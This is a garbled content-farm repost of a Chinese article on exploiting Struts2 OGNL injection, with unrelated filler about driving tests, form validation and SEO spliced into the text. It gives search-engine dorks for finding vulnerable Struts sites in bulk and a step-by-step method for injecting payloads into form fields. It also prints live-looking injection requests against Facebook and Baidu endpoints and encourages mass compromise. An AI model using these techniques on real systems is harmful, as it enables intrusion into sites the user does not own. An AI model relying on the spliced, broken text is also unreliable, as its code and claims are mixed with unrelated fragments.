b2科目四模拟试题多少题驾考考爆了怎么补救
b2科目四模拟试题多少题 驾考考爆了怎么补救

struts2中ognl表达式 各种合集_struts2中ognl_struts2的 ognl表达式(2)

电脑杂谈  发布时间:2019-07-21 13:06:58  来源:网络整理

原来的地方,变成了

<true>

<true>

弹出calc,就是说,ognl被执行了。大家看懂了,得从应用程序中,找每个input,一个一个试,从结果页面,判断漏洞是否存在。

然而,这只是第二步。

第一步当然是找到struts了,为了批量的找到struts,最好的办法就是搜索引擎。“inurl:action”,“filetype:action”都是可以找到struts的。

4.实时验证:可以通过keyup或blur事件触发验证,而不仅仅在表单提交的时候验证。11、严密的数据验证(表单提交必填验证、输入验证、逻辑验证、会员验证、删除验证)。 表单验证属性,require类型时,若输入值为空,则拒绝提交,并会有一个提示.上面两种写法都对,这个很有用.并且可以用于textarea以及hidden/image/submit类型.pattern类型为正则验证,可以完成各种复杂的验证.这两种类型在opera中必须指定name值,否则无效果.。

struts2中ognl表达式 各种合集_struts2中ognl_struts2的 ognl表达式

别小看这英文的短句,即使是中文的系统,如果没有定义表单验证中得类型转换错误信息,表单中数字等类型,会自动说出验证结果。这个自动说的结果,就是框架提供的默认信息“Invalid field value”。程序员懒得去给类型转换失败,写一条专用的错误信息,也给我们提供了便利。

综合来说,我们搜索“filetype:action Invalid field value”,就能看到N多站了。这些站,基本上都是使用了struts标签库的站。

攻击步骤

再总结一下

1、 找到可以输入的表单,最好有日期类型,数字类型等。

2、 提交表单,修改包,把所有的表单值内容,都改为POC。

3、 查看页面返回源码,如果有POC执行后的返回,就成功了。

实际利用场景

Google搜索结果的第一页,当时真的是一眼定位目标,为什么能一眼定位呢?

因为它“非死不可”!

没错,就是facebook。

遵循这个逻辑,黑掉“非死不可”

http://apps.facebook.com/sparechange/showTopUp.action?senderId=$sc_senderId&devId=$sc_devId&returnUrl=$sc_returnUrl&appId=$sc_appId&item=$sc_item&itemDesc=$sc_itemDesc&t=$sc_amt&

}var monitor_base = 'http://igw.monitor.taobao.com/monitor-gw/itemdesc.htm。new image().src = 'http://igw.monitor.taobao.com/monitor-gw/itemdesc.htm。public async task login(loginmodel details, string returnurl) { 。

这个页面爆出:

所以提交下面表单

<form action="http://apps.facebook.com/sparechange/showTopUp.action?senderId=$sc_senderId&devId=$sc_devId&returnUrl=$sc_returnUrl&item=$sc_item&itemDesc=$sc_itemDesc&t=$sc_amt&" method="POST">
 
<input name=”appId”>
 
<input type=”submit”>
 
</form>

<form action="?senderId=$sc_senderId&devId=$sc_devId&returnUrl=$sc_returnUrl&item=$sc_item&itemDesc=$sc_itemDesc&t=$sc_amt&" method="POST"><input name=”appId”><input type=”submit”></form>

输入:

查看源码

          <input type="hidden" name="devId" value="$sc_devId" />
 
          <input value="$sc_senderId" name="senderId" type="hidden" />
 
          <input value="&#123;javax.servlet.context.tempdir=/usr/local/tomcat/work/Catalina/localhost/fb, org.apache.catalina.jsp_classpath=/usr/local/tomcat/work/Catalina/localhost/fb/WEB-INF/classes/:/usr/local/tomcat/shared/classes/:/usr/local/tomcat/shared/lib/axis.jar, org.apache.catalina.resources=org.apache.naming.resources.ProxyDirContext&#064;119015b&#125;" name="appId" type="hidden" />
 
          <input value="" name="flowType" type="hidden" />

create a tomcat-root/conf/catalina/localhost/webapp-name.xml file and add the following lines (assuming a web application name of samples):。7、vi conf/catalina/localhost/solr.xml。[root@localhost logs]# vim catalina.out。

其实input的value很长很长,这里文中截断了。

struts2的 ognl表达式_struts2中ognl表达式 各种合集_struts2中ognl

触发这个漏洞后,作者也给facebook发了邮件。找安全团队地址时,看到facebook居然有赏金,很开心。但是马上又看到apps下面的应用,不参与悬赏,那个不爽啊,虽然出于职业道德,还是给它发了邮件,真不爽。只能自我安慰一下:“哥邮件里写的英文,你们真的以为能当英文看么?“

从侧面撬动苛刻条件

最后讨论一下“错误页面刚好会显示可利用字段的值”,这一条还是从侧面,可以撬动的。搜索引擎的结果里,很多都是页面上有“Invalid field value”,其实并不会在当前页面展示字段的内容,也就无法触发漏洞了。

当前页面真的无法触发漏洞么?

真的。。。-_-!

别忙泼水,作者要说得是,只是当前页面不会触发而已。出现这个错误,代表了这个系统的开发人员,喜欢struts,喜欢struts的标签库。你懂么?他好这口儿!

我们来看看另一个例子。

这位虽然没有非死不可,但是想百毒不侵,那是没有的。

猜到了?百度!

搜索引擎里看到了一个url:

?siteId=1..

我们建设优质的外链,就是为了继承优秀网站的一部分权重,我们可以在源代码中将不重要的页面链接加上nofollow标签(友情链接不要加),就可以屏蔽这些页面传递网站权重,这样有利于凝聚网站内部的权重,促进网站的排名,如果不用nofollow优化网站的话,我们网站权重就会造成一些流失,但是不要乱用,nofollow标签是告诉搜索引擎这个页面不要传递权重,如果你网站大量使用的话,反而会被百度误解为你网站有很多不重要的页面,一旦对百度留下这个印象,你的排名就难喽。显示的标签实现,为了将来可以在页面取到标签内容值,我们定义隐藏域来保存属性值,然后在显示显示内容。struts2首先访问jsp页面的时候,不会像struts1一样调用get方法来初始化页面的标签,而是直接到值栈中去拿值(容错能力比struts1强)。

所以,很不幸(当然作者其实觉得很幸运),在另一个地方,找到了想要的东西。提交下面表单

POST http://beidou.baidu.com/tool/addGroupClone.action?task.userid=3701034 HTTP/1.1
 
struts.token.name=groupCloneToken&groupCloneToken=fdasfdsafdsa&list-filter=&sub-list-filter=&task.groupIdList=2201994&task.unitstate=0&task.copyRegion=true&task.copyNetWork=true&task.copyDirectType=true&task.planid=-1&task.newPlan=true&task.planname=fdsafdsafdsa&task.budget=' %2B #application %2B '

POST ?task.userid=3701034 HTTP/1.1struts.token.name=groupCloneToken&groupCloneToken=fdasfdsafdsa&list-filter=&sub-list-filter=&task.groupIdList=2201994&task.unitstate=0&task.copyRegion=true&task.copyNetWork=true&task.copyDirectType=true&task.planid=-1&task.newPlan=true&task.planname=fdsafdsafdsa&task.budget=' %2B #application %2B '

就能看到一个令人惊喜的结果。

直接提交是不行的,里面有token,一次验证立刻失效。必须找到页面,在发送到服务器之前,拦截http请求,修改后提交,才能看到结果。

看到这里,大家都会批量抓鸡了。关于执行任意代码的exp怎么写,这个时候当然不会放出来,不然过些天,还有谁会关注我的微薄()呢?想知道的,请把作者之前写过的《Struts2和Webwork远程命令执行漏洞分析》“https://www.inbreak.net/archives/167”,认真读几遍,会有大机缘。作者当时看到漏洞介绍后,1分钟之内,写好了执行任意代码的EXP。只要你懂,你就懂了。

最后插一句,

感谢KJ一起研究

感谢小笨笨(cnben)建议

感谢 寻者 提供各种反驳本文错误分析的实际场景

By kxlzx https://www.inbreak.net

微薄()


本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-114618-2.html

相关阅读
    发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

    • 放勋
      放勋

      美国也就是虚张声势

    • 六瓢
      六瓢

      第三就组建几个“南海捕渔大型船队”

    热点图片
    拼命载入中...